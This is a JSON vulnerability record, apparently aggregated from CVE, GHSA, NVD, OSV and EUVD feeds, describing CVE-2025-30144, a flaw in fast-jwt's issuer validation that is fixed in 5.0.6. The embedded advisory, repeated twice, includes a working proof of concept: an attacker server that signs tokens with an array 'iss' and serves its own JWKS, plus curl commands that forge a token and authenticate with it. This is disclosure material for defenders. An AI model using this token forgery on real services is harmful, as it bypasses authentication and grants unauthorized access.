{"id":"CVE-2025-30144","aliases":["EUVD-2025-6727","GHSA-gm45-q3v2-6cf8"],"status":"published","title":"Fast-JWT Improperly Validates iss Claims","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00592,"percentile":0.48587,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-290","CWE-345"],"published":"2025-03-19T15:41:19Z","modified":"2026-10-28T02:30:27Z","exploits":[{"source":"pocgithub","id":"tibrn/CVE-2025-30144","title":"tibrn/CVE-2025-30144","date":"2025-03-21","url":"https://github.com/tibrn/CVE-2025-30144"}],"fixes":[{"ecosystem":"npm","package":"fast-jwt","fixed_in":["5.0.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.6"}]}]},{"source":"osv","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.0.6"}]}]}],"products":[{"vendor":"nearform","product":"fast-jwt"}],"references":[{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd","tags":["x_refsource_MISC","fix","web"]},{"url":"https://datatracker.ietf.org/doc/html/rfc7519#page-9","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30144","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gm45-q3v2-6cf8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30144.json","tags":["advisory"]},{"url":"https://github.com/nearform/fast-jwt","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-30144","title":"Fast-JWT Improperly Validates iss Claims","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","status":"published","published":"2025-03-19T15:41:19.642Z","modified":"2025-03-19T18:29:22.749Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-345","CWE-290"],"updated_at":"2026-11-02T14:32:35.099955Z"}],"euvd":[{"id":"EUVD-2025-6727","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","status":"published","published":"2025-03-19T15:41:19Z","modified":"2025-03-19T18:29:22Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T20:52:58.604029Z"}],"ghsa":[{"id":"GHSA-gm45-q3v2-6cf8","title":"Fast-JWT Improperly Validates iss Claims","description":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","status":"published","published":"2025-03-19T15:48:43Z","modified":"2025-03-20T18:58:43Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:38:35.74197Z"}],"nvd":[{"id":"CVE-2025-30144","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","status":"published","published":"2025-03-19T16:15:33.08Z","modified":"2026-06-17T09:08:14.723Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-290","CWE-345"],"updated_at":"2026-11-02T14:10:54.744127Z"}],"osv":[{"id":"CVE-2025-30144","title":"Fast-JWT Improperly Validates iss Claims","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","status":"published","published":"2025-03-19T15:41:19.642Z","modified":"2026-10-28T02:30:27.46285385Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-290","CWE-345"],"updated_at":"2026-11-02T15:44:47.708311Z"},{"id":"GHSA-gm45-q3v2-6cf8","title":"Fast-JWT Improperly Validates iss Claims","description":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","status":"published","published":"2025-03-19T15:48:43Z","modified":"2025-03-20T18:58:42Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T15:46:47.822182Z"}]}}
